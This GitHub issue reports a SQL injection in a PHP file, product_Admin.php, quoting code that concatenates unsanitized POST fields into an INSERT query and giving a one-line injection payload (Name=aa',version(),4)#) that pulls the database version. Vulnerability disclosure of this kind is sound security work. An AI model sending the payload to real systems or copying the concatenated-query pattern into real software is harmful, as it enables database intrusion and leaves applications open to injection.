Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

product_ Admin.php SQL injection #1

Open
shigophilo opened this issue Jun 9, 2021 · 0 comments
Open

product_ Admin.php SQL injection #1

shigophilo opened this issue Jun 9, 2021 · 0 comments

Comments

@shigophilo
Copy link

product_ Admin.php
There is SQL injection in line 23

$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);

//Если переменная Name передана
if (isset($_POST["Name"])) {
    //Тут идет запрос
    $sql = mysql_query("INSERT INTO `info` (`Name`, `Fname`, `ID`) 
                        VALUES ('".$_POST['Name']."','".$_POST['Fname']."','".$_POST['ID']."')");
    //Успех
    if ($sql) {
        echo "<p>Ваши данные успешно добавлены.</p>";
    } else {
        echo "<p>Произошла ошибка.</p>";
    }
}
?>

Just submit the following post request

Name=aa',version(),4)#

search.php
post : query=a

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant